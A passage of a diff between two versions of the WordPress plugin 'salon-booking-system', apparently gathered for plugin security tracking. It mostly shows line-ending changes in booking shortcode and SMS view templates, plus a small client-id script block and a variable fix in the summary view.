$step->getAddtitionalErrors();\r\n-        $errors = !empty($errors) ? $errors : $step->getErrors();\r\n-        echo $plugin->loadView('shortcode\u002F_errors', ['errors' => $errors]);\r\n-        echo $plugin->loadView('shortcode\u002F_additional_errors', ['additional_errors' => $additional_errors]);\r\n-        echo apply_filters('sln.booking.salon.' . $step->getStep() . '-step.add-params-html', '');\r\n-        $args = array(\r\n-            'key' => $step->getTitleKey(),\r\n-            'label' => $step->getTitleLabel(),\r\n-            'tag' => 'h2',\r\n-            'textClasses' => 'salon-step-title',\r\n-            'inputClasses' => '',\r\n-            'tagClasses' => 'salon-step-title',\r\n-        );\r\n-        echo $plugin->loadView('shortcode\u002F_editable_snippet', $args);\r\n-        echo $plugin->loadView('shortcode\u002F_progbar', ['salon' => $salon]);\r\n-        ?>\r\n-        \u003C?php echo $content ?>\r\n-        \u003Cdiv id=\"sln-notifications\" class=\"sln-notifications--fix--tr\">\u003C\u002Fdiv>\r\n-        \u003Cdiv id=\"sln-salon__follower\">\u003C\u002Fdiv>\r\n-    \u003C\u002Fdiv>\r\n-    \u003C!-- .sln-salon__wrapper \u002F\u002F END -->\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\n+\u002F**\n+ * @var string $content\n+ * @var SLN_Shortcode_Salon $salon\n+ * @var SLN_Plugin $plugin\n+ *\u002F\n+\n+$style = $salon->getStyleShortcode();\n+$cce = !$plugin->getSettings()->isCustomColorsEnabled();\n+$class = SLN_Enum_ShortcodeStyle::getClass($style);\n+\n+$class_salon = $class;\n+$class_salon .= ' sln-step-' . $salon->getCurrentStep();\n+$class_salon .= !$cce ? ' sln-customcolors' : '';\n+\n+$class_salon_content = $class . '__content';\n+$class_salon_content .= ' sln-salon__content-step-' . $salon->getCurrentStep();\n+\n+$bookingMyAccountPageId = $plugin->getSettings()->getBookingmyaccountPageId();\n+$builder = $plugin->getBookingBuilder();\n+$clientId = $builder->getClientId();\n+$storageStrategy = $builder->isUsingTransient() ? 'transient' : 'session';\n+?>\n+\n+\u003Cscript>\n+window.SLN_BOOKING_CLIENT = {\n+    id: \u003C?php echo $clientId ? \"'\" . esc_js($clientId) . \"'\" : 'null'; ?>,\n+    storage: '\u003C?php echo esc_js($storageStrategy); ?>'\n+};\n+\u003C\u002Fscript>\n+\n+\u003Cdiv id=\"sln-salon-booking\" class=\"sln-shortcode sln-is-initializing \u003C?php echo $class_salon ?>\"\n+     data-client-id=\"\u003C?php echo esc_attr($clientId); ?>\"\n+     data-storage=\"\u003C?php echo esc_attr($storageStrategy); ?>\">\n+    \u003Cdiv class=\"sln-init-loader\" aria-hidden=\"true\">\n+        \u003Cdiv class=\"sln-loader-wrapper\">\n+            \u003Cdiv class=\"sln-loader\">Loading...\u003C\u002Fdiv>\n+        \u003C\u002Fdiv>\n+    \u003C\u002Fdiv>\n+    \u003Cdiv id=\"sln-salon-booking__content\" class=\"\u003C?php echo $class_salon_content ?>\">\n+        \u003C?php\n+        if ($bookingMyAccountPageId && !$plugin->getSettings()->get('enabled_force_guest_checkout')) {\n+            echo '\u003Cdiv class=\"sln-topbar\">\u003Ch6>';\n+            if (is_user_logged_in()) {\n+                $current_user = wp_get_current_user();\n+                echo ' \u003Ca href=\"' . get_permalink($bookingMyAccountPageId) . '\">' . __('Hi', 'salon-booking-system'), ' ', $current_user->display_name  . '\u003C\u002Fa>';\n+            } else {\n+                echo '\u003Ca href=\"' . get_permalink($bookingMyAccountPageId) . '\">' . __('Log-in', 'salon-booking-system') . '\u003C\u002Fa>';\n+            }\n+            echo '\u003C\u002Fh6>\u003C\u002Fdiv>';\n+        } \u002F\u002F\u002F\u002F $bookingMyAccountPageId  && !$plugin->getSettings()->get('enabled_force_guest_checkout') \u002F\u002F END \u002F\u002F\u002F\u002F\n+        $args = array(\n+            'key' => 'Book an appointment',\n+            'label' => __('Book an appointment', 'salon-booking-system'),\n+            'tag' => 'h2',\n+            'textClasses' => 'sln-salon-title',\n+            'inputClasses' => '',\n+            'tagClasses' => 'sln-salon-title',\n+        );\n+        echo $plugin->loadView('shortcode\u002F_editable_snippet', $args);\n+        do_action('sln.booking.salon.before_content', $salon, $content);\n+\n+        $step = $salon->getStepObject($salon->getCurrentStep());\n+        $additional_errors = !empty($additional_errors) ? $additional_errors : $step->getAddtitionalErrors();\n+        $errors = !empty($errors) ? $errors : $step->getErrors();\n+        echo $plugin->loadView('shortcode\u002F_errors', ['errors' => $errors]);\n+        echo $plugin->loadView('shortcode\u002F_additional_errors', ['additional_errors' => $additional_errors]);\n+        echo apply_filters('sln.booking.salon.' . $step->getStep() . '-step.add-params-html', '');\n+        $args = array(\n+            'key' => $step->getTitleKey(),\n+            'label' => $step->getTitleLabel(),\n+            'tag' => 'h2',\n+            'textClasses' => 'salon-step-title',\n+            'inputClasses' => '',\n+            'tagClasses' => 'salon-step-title',\n+        );\n+        echo $plugin->loadView('shortcode\u002F_editable_snippet', $args);\n+        echo $plugin->loadView('shortcode\u002F_progbar', ['salon' => $salon]);\n+        ?>\n+        \u003C?php echo $content ?>\n+        \u003Cdiv id=\"sln-notifications\" class=\"sln-notifications--fix--tr\">\u003C\u002Fdiv>\n+        \u003Cdiv id=\"sln-salon__follower\">\u003C\u002Fdiv>\n+    \u003C\u002Fdiv>\n+    \u003C!-- .sln-salon__wrapper \u002F\u002F END -->\n \u003C\u002Fdiv>\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fshortcode\u002Fsalon_secondary.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fshortcode\u002Fsalon_secondary.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fshortcode\u002Fsalon_secondary.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fshortcode\u002Fsalon_secondary.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,34 +1,34 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\r\n-\u002F**\r\n- * @var SLN_Plugin                        $plugin\r\n- * @var string                            $formAction\r\n- * @var string                            $submitName\r\n- * @var SLN_Shortcode_Salon_ServicesStep $step\r\n- *\u002F\r\n-$bb = $plugin->getBookingBuilder();\r\n-$services = $step->getServices();\r\n-\r\n-$style = $step->getShortcode()->getStyleShortcode();\r\n-$size = SLN_Enum_ShortcodeStyle::getSize($style);\r\n-$additional_errors = !empty($additional_errors)? $additional_errors : $step->getAddtitionalErrors();\r\n-$errors = !empty($errors) ? $errors : $step->getErrors();\r\n-?>\r\n-\u003Cform id=\"salon-step-secondary\" method=\"post\" action=\"\u003C?php echo $formAction ?>\" role=\"form\">\r\n-\t\u003C?php\r\n-\tinclude '_errors.php';\r\n-\tinclude '_additional_errors.php';\r\n-\t?>\r\n-\t\u003C?php if ($size == '900') { ?>\r\n-\t\t\u003Cdiv class=\"row sln-box--main sln-box--flatbottom--phone\">\r\n-\t\t\t\u003Cdiv class=\"col-xs-12 col-md-8\">\r\n-\t\t\t\t\u003Cdiv class=\"sln-box--fixed_height\">\u003C?php include \"_services.php\"; ?>\u003C\u002Fdiv>\r\n-\t\t\t\u003C\u002Fdiv> \u003C!-- The row closed inside _form_actions.php -->\r\n-\r\n-\t\u003C?php } else { \u002F\u002F IF SIZE 900 \u002F\u002F END ?>\r\n-\t\t\u003Cdiv class=\"row sln-box--main sln-box--fixed_height\">\u003Cdiv class=\"col-xs-12\">\u003C?php include \"_services.php\"; ?>\u003C\u002Fdiv>\u003C\u002Fdiv>\r\n-\r\n-\t\u003C?php } \u002F\u002F IF SIZE 600 AND 400 \u002F\u002F END ?>\r\n-\t\u003C?php include \"_form_actions.php\" ?>\r\n-\u003C\u002Fform>\r\n-\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\n+\u002F**\n+ * @var SLN_Plugin                        $plugin\n+ * @var string                            $formAction\n+ * @var string                            $submitName\n+ * @var SLN_Shortcode_Salon_ServicesStep $step\n+ *\u002F\n+$bb = $plugin->getBookingBuilder();\n+$services = $step->getServices();\n+\n+$style = $step->getShortcode()->getStyleShortcode();\n+$size = SLN_Enum_ShortcodeStyle::getSize($style);\n+$additional_errors = !empty($additional_errors)? $additional_errors : $step->getAddtitionalErrors();\n+$errors = !empty($errors) ? $errors : $step->getErrors();\n+?>\n+\u003Cform id=\"salon-step-secondary\" method=\"post\" action=\"\u003C?php echo $formAction ?>\" role=\"form\">\n+\t\u003C?php\n+\tinclude '_errors.php';\n+\tinclude '_additional_errors.php';\n+\t?>\n+\t\u003C?php if ($size == '900') { ?>\n+\t\t\u003Cdiv class=\"row sln-box--main sln-box--flatbottom--phone\">\n+\t\t\t\u003Cdiv class=\"col-xs-12 col-md-8\">\n+\t\t\t\t\u003Cdiv class=\"sln-box--fixed_height\">\u003C?php include \"_services.php\"; ?>\u003C\u002Fdiv>\n+\t\t\t\u003C\u002Fdiv> \u003C!-- The row closed inside _form_actions.php -->\n+\n+\t\u003C?php } else { \u002F\u002F IF SIZE 900 \u002F\u002F END ?>\n+\t\t\u003Cdiv class=\"row sln-box--main sln-box--fixed_height\">\u003Cdiv class=\"col-xs-12\">\u003C?php include \"_services.php\"; ?>\u003C\u002Fdiv>\u003C\u002Fdiv>\n+\n+\t\u003C?php } \u002F\u002F IF SIZE 600 AND 400 \u002F\u002F END ?>\n+\t\u003C?php include \"_form_actions.php\" ?>\n+\u003C\u002Fform>\n+\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fshortcode\u002Fsalon_sms.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fshortcode\u002Fsalon_sms.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fshortcode\u002Fsalon_sms.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fshortcode\u002Fsalon_sms.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,59 +1,59 @@\n-\u003C?php\r\n-\u002F**\r\n- * @var SLN_Plugin $plugin\r\n- * @var string $formAction\r\n- * @var string $submitName\r\n- * @var SLN_Shortcode_Salon_Step $step\r\n- *\u002F\r\n-\u002F\u002F phpcs:ignoreFile WordPress.Security.NonceVerification.Recommended\r\n-\r\n-$bb = $plugin->getBookingBuilder();\r\n-$valid = isset($_SESSION['sln_sms_valid']) ? $_SESSION['sln_sms_valid'] : false;\r\n-$currentStep = $step->getShortcode()->getCurrentStep();\r\n-$ajaxData = \"sln_step_page=$currentStep&submit_$currentStep=1\";\r\n-$ajaxEnabled = $plugin->getSettings()->isAjaxEnabled();\r\n-$style = $step->getShortcode()->getStyleShortcode();\r\n-$size = SLN_Enum_ShortcodeStyle::getSize($style);\r\n-?>\r\n-\u003C?php if (isset($_GET['resend'])): ?>\r\n-    \u003Cdiv class=\"alert alert-success\">\r\n-        \u003Cp>\u003C?php esc_html_e('SMS sent successfully.', 'salon-booking-system') ?>\u003C\u002Fp>\r\n-    \u003C\u002Fdiv>\r\n-\u003C?php endif ?>\r\n-\u003Ch2 class=\"sln-sms-message-title\">\u003C?php esc_html_e('SMS Verification', 'salon-booking-system') ?>\u003C\u002Fh2>\r\n-\u003Ch2 class=\"sln-sms-message-text\">\u003C?php esc_html_e('We have sent an SMS text on your mobile phone.', 'salon-booking-system') ?>\u003C\u002Fh2>\r\n-\u003Cform method=\"post\" action=\"\u003C?php echo esc_html($formAction) ?>\" role=\"form\">\r\n-    \u003C?php if ($valid): ?>\r\n-        \u003Cdiv class=\"alert alert-success\">\r\n-            \u003Cp>\u003C?php esc_html_e('Your telephone number is verified', 'salon-booking-system') ?>\u003C\u002Fp>\r\n-        \u003C\u002Fdiv>\r\n-        \u003C?php\r\n-        $size = 400;\r\n-        include \"_form_actions.php\" ?>\r\n-    \u003C?php else: ?>\r\n-        \u003Cdiv class=\"row\">\r\n-            \u003Cdiv class=\"col-xs-12 col-md-6\">\r\n-                \u003Cdiv class=\"form-group\">\r\n-                    \u003Clabel for=\"\u003C?php echo esc_html(SLN_Form::makeID('sln_verification')) ?>\">\r\n-                        \u003C?php esc_html_e('digit your verification code', 'salon-booking-system'); ?>\r\n-                    \u003C\u002Flabel>\r\n-                \u003C\u002Fdiv>\r\n-            \u003C\u002Fdiv>\r\n-                        \u003Cdiv class=\"col-xs-12 col-md-6\">\r\n-                \u003Cdiv class=\"form-group\">\r\n-                   \u003C?php SLN_Form::fieldText('sln_verification', '', array('required' => true)) ?>\r\n-                    \u003Ca href=\"\u003C?php echo esc_html($formAction) ?>&resend=1\" class=\"recover\"\r\n-                        \u003C?php if($ajaxEnabled): ?>\r\n-                        data-salon-data=\"\u003C?php echo esc_html($ajaxData).'&resend=1' ?>\" data-salon-toggle=\"direct\"\r\n-                        \u003C?php endif ?>>\r\n-                        \u003C?php esc_html_e('I didn\\'t receive the code, please send it again', 'salon-booking-system') ?>\r\n-                    \u003C\u002Fa>\r\n-                \u003C\u002Fdiv>\r\n-            \u003C\u002Fdiv>\r\n-        \u003C\u002Fdiv>\r\n-        \u003C?php \r\n-        $size = 400;\r\n-        include \"_form_actions.php\"; ?>\r\n-    \u003C?php endif ?>\r\n-\u003C\u002Fform>\r\n-\r\n+\u003C?php\n+\u002F**\n+ * @var SLN_Plugin $plugin\n+ * @var string $formAction\n+ * @var string $submitName\n+ * @var SLN_Shortcode_Salon_Step $step\n+ *\u002F\n+\u002F\u002F phpcs:ignoreFile WordPress.Security.NonceVerification.Recommended\n+\n+$bb = $plugin->getBookingBuilder();\n+$valid = isset($_SESSION['sln_sms_valid']) ? $_SESSION['sln_sms_valid'] : false;\n+$currentStep = $step->getShortcode()->getCurrentStep();\n+$ajaxData = \"sln_step_page=$currentStep&submit_$currentStep=1\";\n+$ajaxEnabled = $plugin->getSettings()->isAjaxEnabled();\n+$style = $step->getShortcode()->getStyleShortcode();\n+$size = SLN_Enum_ShortcodeStyle::getSize($style);\n+?>\n+\u003C?php if (isset($_GET['resend'])): ?>\n+    \u003Cdiv class=\"alert alert-success\">\n+        \u003Cp>\u003C?php esc_html_e('SMS sent successfully.', 'salon-booking-system') ?>\u003C\u002Fp>\n+    \u003C\u002Fdiv>\n+\u003C?php endif ?>\n+\u003Ch2 class=\"sln-sms-message-title\">\u003C?php esc_html_e('SMS Verification', 'salon-booking-system') ?>\u003C\u002Fh2>\n+\u003Ch2 class=\"sln-sms-message-text\">\u003C?php esc_html_e('We have sent an SMS text on your mobile phone.', 'salon-booking-system') ?>\u003C\u002Fh2>\n+\u003Cform method=\"post\" action=\"\u003C?php echo esc_html($formAction) ?>\" role=\"form\">\n+    \u003C?php if ($valid): ?>\n+        \u003Cdiv class=\"alert alert-success\">\n+            \u003Cp>\u003C?php esc_html_e('Your telephone number is verified', 'salon-booking-system') ?>\u003C\u002Fp>\n+        \u003C\u002Fdiv>\n+        \u003C?php\n+        $size = 400;\n+        include \"_form_actions.php\" ?>\n+    \u003C?php else: ?>\n+        \u003Cdiv class=\"row\">\n+            \u003Cdiv class=\"col-xs-12 col-md-6\">\n+                \u003Cdiv class=\"form-group\">\n+                    \u003Clabel for=\"\u003C?php echo esc_html(SLN_Form::makeID('sln_verification')) ?>\">\n+                        \u003C?php esc_html_e('digit your verification code', 'salon-booking-system'); ?>\n+                    \u003C\u002Flabel>\n+                \u003C\u002Fdiv>\n+            \u003C\u002Fdiv>\n+                        \u003Cdiv class=\"col-xs-12 col-md-6\">\n+                \u003Cdiv class=\"form-group\">\n+                   \u003C?php SLN_Form::fieldText('sln_verification', '', array('required' => true)) ?>\n+                    \u003Ca href=\"\u003C?php echo esc_html($formAction) ?>&resend=1\" class=\"recover\"\n+                        \u003C?php if($ajaxEnabled): ?>\n+                        data-salon-data=\"\u003C?php echo esc_html($ajaxData).'&resend=1' ?>\" data-salon-toggle=\"direct\"\n+                        \u003C?php endif ?>>\n+                        \u003C?php esc_html_e('I didn\\'t receive the code, please send it again', 'salon-booking-system') ?>\n+                    \u003C\u002Fa>\n+                \u003C\u002Fdiv>\n+            \u003C\u002Fdiv>\n+        \u003C\u002Fdiv>\n+        \u003C?php \n+        $size = 400;\n+        include \"_form_actions.php\"; ?>\n+    \u003C?php endif ?>\n+\u003C\u002Fform>\n+\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fshortcode\u002Fsalon_summary.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fshortcode\u002Fsalon_summary.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fshortcode\u002Fsalon_summary.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fshortcode\u002Fsalon_summary.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -27,7 +27,7 @@\n $tipsValue = $bb->getTips();\n \n $payRemainingAmount = isset($_GET['pay_remaining_amount']) && $_GET['pay_remaining_amount'];\n-$pendingPayment = $plugin->getSettings()->isPayEnabled() && $payRemainingAmount && !$booking->getPaidRemainedAmount();\n+$pendingPayment = $plugin->getSettings()->isPayEnabled() && $payRemainingAmount && !$bb->getPaidRemainedAmount();\n $payLater = $plugin->getSettings()->get('pay_cash');\n $ajaxData = 'sln_step_page=' .$step->getStep() .'&submit_' .$step->getStep(). '=next&pay_remaining_amount=' . intval($payRemainingAmount);\n $ajaxData = apply_filters('sln.booking.thankyou-step.get-ajax-data', $ajaxData);\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fshortcode\u002F_services.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fshortcode\u002F_services.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fshortcode\u002F_services.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fshortcode\u002F_services.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,92 +1,92 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\r\n-\u002F**\r\n- * @var SLN_Plugin $plugin\r\n- * @var string $formAction\r\n- * @var string $submitName\r\n- * @var SLN_Shortcode_Salon_ServicesStep $step\r\n- * @var SLN_Wrapper_Service[] $services\r\n- *\u002F\r\n-\r\n-$ah = $plugin->getAvailabilityHelper();\r\n-$bb = $plugin->getBookingBuilder();\r\n-$ah->setDate($bb->getDateTime());\r\n-$isSymbolLeft = $plugin->getSettings()->get('pay_currency_pos') == 'left';\r\n-$symbolLeft = $isSymbolLeft ? $plugin->getSettings()->getCurrencySymbol() : '';\r\n-$symbolRight = $isSymbolLeft ? '' : $plugin->getSettings()->getCurrencySymbol();\r\n-$decimalSeparator = $plugin->getSettings()->getDecimalSeparator();\r\n-$thousandSeparator = $plugin->getSettings()->getThousandSeparator();\r\n-$grouped = SLN_Repository_ServiceRepository::groupServicesByCategory($services);\r\n-$showPrices = ($plugin->getSettings()->get('hide_prices') != '1') ? true : false;\r\n-\r\n-if ($plugin->getSettings()->isFormStepsAltOrder()) {\r\n-    $servicesErrors = array();\r\n-} else {\r\n-    $servicesErrors = $ah->checkEachOfNewServicesForExistOrder($bb->getServicesIds(), $services);\r\n-} \r\n-    \r\n-$style = $step->getShortcode()->getStyleShortcode();\r\n-$size = SLN_Enum_ShortcodeStyle::getSize($style);\r\n-?>\r\n-\u003C?php SLN_Form::fieldText('sln[date]', $bb->getDate(), array('type' => 'hidden')) ?>\r\n-\u003C?php SLN_Form::fieldText('sln[time]', $bb->getTime(), array('type' => 'hidden')) ?>\r\n-\u003Cdiv class=\"sln-service-list sln-list \u003C?php if ($size == '400') { echo 'sln-list--s'; } ?> \u003C?php echo 'sln-list--' . $size; ?> clearfix\"> \r\n-    \u003C?php foreach ($grouped as $group): ?>\r\n-        \u003C?php if ($group['term'] !== false && count($group['services']) > 1): ?>\r\n-            \u003Cdiv class=\"row sln-panel\">\r\n-\r\n-        \u003C?php\r\n-\r\n-        $openGroup = false;\r\n-\r\n-        foreach ($group['services'] as $service) {\r\n-\r\n-            $openGroup = $bb->hasService($service);\r\n-\r\n-            if ($openGroup) {\r\n-            break;\r\n-            }\r\n-        }\r\n-        ?>\r\n-        \u003Ca class=\"col-xs-12 sln-panel-heading \u003C?php echo ($openGroup || count($group['services']) == 1) ? '' : ' collapsed ' ?>\" role=\"button\"\r\n-               data-toggle=\"collapse\" href=\"#collapse\u003C?php echo $group['term']->getId() ?>\"\r\n-               aria-expanded=\"false\" aria-controls=\"collapse\u003C?php echo $group['term']->getId() ?>\">\r\n-                \u003Ch2 class=\"sln-btn sln-btn--icon sln-btn--fullwidth\">\r\n-                    \u003C?php echo esc_html__(sprintf('%s', $group['term']->getName()),'salon-booking-system') ?>\u003C\u002Fh2>\r\n-            \u003C\u002Fa>\r\n-            \u003Cdiv id=\"collapse\u003C?php echo $group['term']->getId() ?>\"\r\n-            class=\"col-xs-12 sln-panel-content panel-collapse collapse \u003C?php echo ($openGroup || count($group['services']) == 1) ? ' in ' : '' ?>\" role=\"tabpanel\"\r\n-            aria-labelledby=\"collapse\u003C?php echo $group['term']->getId() ?>Heading\"\r\n-            aria-expanded=\"false\" style=\"\u003C?php echo ($openGroup || count($group['services']) == 1) ? '' : 'height: 0px;' ?>\">\r\n-        \u003C?php endif ?>\r\n-        \u003C?php foreach ($group['services'] as $service) {\r\n-            $serviceErrors = isset($servicesErrors[$service->getId()]) ? $servicesErrors[$service->getId()] : array();\r\n-            $settings = array(\r\n-                'attrs' => array(\r\n-                    'data-price' => $service->getPrice(),\r\n-                    'data-duration' => SLN_Func::getMinutesFromDuration($service->getTotalDuration()),\r\n-                ),\r\n-            );\r\n-            if ($serviceErrors) {\r\n-                $settings['attrs']['disabled'] = 'disabled';\r\n-            }\r\n-            if ($size == '900') {\r\n-                include '_services_item_900.php';\r\n-            } elseif ($size == '600') {\r\n-                include '_services_item_600.php';\r\n-            } elseif ($size == '400') {\r\n-                include '_services_item_400.php';\r\n-            } else {\r\n-                throw new Exception('size not supported');\r\n-            }\r\n-        } ?>\r\n-        \u003C?php if ($group['term'] !== false && count($group['services']) > 1): ?>\r\n-            \u003C!-- panel END -->\r\n-            \u003C\u002Fdiv>\r\n-            \u003C\u002Fdiv>\r\n-            \u003C!-- panel END -->\r\n-        \u003C?php endif ?>\r\n-    \u003C?php endforeach ?>\r\n-    \u003C!-- .sln-service-list \u002F\u002F END -->\r\n-\u003C\u002Fdiv>\r\n-\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\n+\u002F**\n+ * @var SLN_Plugin $plugin\n+ * @var string $formAction\n+ * @var string $submitName\n+ * @var SLN_Shortcode_Salon_ServicesStep $step\n+ * @var SLN_Wrapper_Service[] $services\n+ *\u002F\n+\n+$ah = $plugin->getAvailabilityHelper();\n+$bb = $plugin->getBookingBuilder();\n+$ah->setDate($bb->getDateTime());\n+$isSymbolLeft = $plugin->getSettings()->get('pay_currency_pos') == 'left';\n+$symbolLeft = $isSymbolLeft ? $plugin->getSettings()->getCurrencySymbol() : '';\n+$symbolRight = $isSymbolLeft ? '' : $plugin->getSettings()->getCurrencySymbol();\n+$decimalSeparator = $plugin->getSettings()->getDecimalSeparator();\n+$thousandSeparator = $plugin->getSettings()->getThousandSeparator();\n+$grouped = SLN_Repository_ServiceRepository::groupServicesByCategory($services);\n+$showPrices = ($plugin->getSettings()->get('hide_prices') != '1') ? true : false;\n+\n+if ($plugin->getSettings()->isFormStepsAltOrder()) {\n+    $servicesErrors = array();\n+} else {\n+    $servicesErrors = $ah->checkEachOfNewServicesForExistOrder($bb->getServicesIds(), $services);\n+} \n+    \n+$style = $step->getShortcode()->getStyleShortcode();\n+$size = SLN_Enum_ShortcodeStyle::getSize($style);\n+?>\n+\u003C?php SLN_Form::fieldText('sln[date]', $bb->getDate(), array('type' => 'hidden')) ?>\n+\u003C?php SLN_Form::fieldText('sln[time]', $bb->getTime(), array('type' => 'hidden')) ?>\n+\u003Cdiv class=\"sln-service-list sln-list \u003C?php if ($size == '400') { echo 'sln-list--s'; } ?> \u003C?php echo 'sln-list--' . $size; ?> clearfix\"> \n+    \u003C?php foreach ($grouped as $group): ?>\n+        \u003C?php if ($group['term'] !== false && count($group['services']) > 1): ?>\n+            \u003Cdiv class=\"row sln-panel\">\n+\n+        \u003C?php\n+\n+        $openGroup = false;\n+\n+        foreach ($group['services'] as $service) {\n+\n+            $openGroup = $bb->hasService($service);\n+\n+            if ($openGroup) {\n+            break;\n+            }\n+        }\n+        ?>\n+        \u003Ca class=\"col-xs-12 sln-panel-heading \u003C?php echo ($openGroup || count($group['services']) == 1) ? '' : ' collapsed ' ?>\" role=\"button\"\n+               data-toggle=\"collapse\" href=\"#collapse\u003C?php echo $group['term']->getId() ?>\"\n+               aria-expanded=\"false\" aria-controls=\"collapse\u003C?php echo $group['term']->getId() ?>\">\n+                \u003Ch2 class=\"sln-btn sln-btn--icon sln-btn--fullwidth\">\n+                    \u003C?php echo esc_html__(sprintf('%s', $group['term']->getName()),'salon-booking-system') ?>\u003C\u002Fh2>\n+            \u003C\u002Fa>\n+            \u003Cdiv id=\"collapse\u003C?php echo $group['term']->getId() ?>\"\n+            class=\"col-xs-12 sln-panel-content panel-collapse collapse \u003C?php echo ($openGroup || count($group['services']) == 1) ? ' in ' : '' ?>\" role=\"tabpanel\"\n+            aria-labelledby=\"collapse\u003C?php echo $group['term']->getId() ?>Heading\"\n+            aria-expanded=\"false\" style=\"\u003C?php echo ($openGroup || count($group['services']) == 1) ? '' : 'height: 0px;' ?>\">\n+        \u003C?php endif ?>\n+        \u003C?php foreach ($group['services'] as $service) {\n+            $serviceErrors = isset($servicesErrors[$service->getId()]) ? $servicesErrors[$service->getId()] : array();\n+            $settings = array(\n+                'attrs' => array(\n+                    'data-price' => $service->getPrice(),\n+                    'data-duration' => SLN_Func::getMinutesFromDuration($service->getTotalDuration()),\n+                ),\n+            );\n+            if ($serviceErrors) {\n+                $settings['attrs']['disabled'] = 'disabled';\n+            }\n+            if ($size == '900') {\n+                include '_services_item_900.php';\n+            } elseif ($size == '600') {\n+                include '_services_item_600.php';\n+            } elseif ($size == '400') {\n+                include '_services_item_400.php';\n+            } else {\n+                throw new Exception('size not supported');\n+            }\n+        } ?>\n+        \u003C?php if ($group['term'] !== false && count($group['services']) > 1): ?>\n+            \u003C!-- panel END -->\n+            \u003C\u002Fdiv>\n+            \u003C\u002Fdiv>\n+            \u003C!-- panel END -->\n+        \u003C?php endif ?>\n+    \u003C?php endforeach ?>\n+    \u003C!-- .sln-service-list \u002F\u002F END -->\n+\u003C\u002Fdiv>\n+\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fsms\u002Ffeedback.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fsms\u002Ffeedback.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fsms\u002Ffeedback.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fsms\u002Ffeedback.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,12 +1,12 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\r\n-\u002F**\r\n- * @var SLN_Plugin           $plugin\r\n- * @var SLN_Wrapper_Customer $customer\r\n- *\u002F\r\n-$customer = $booking->getCustomer();\r\n-$custom_url = $plugin->getSettings()->get('custom_feedback_url');\r\n-$feedback_url = !empty($custom_url) ? $custom_url : home_url() . '?sln_customer_login=' . $customer->getHash() . 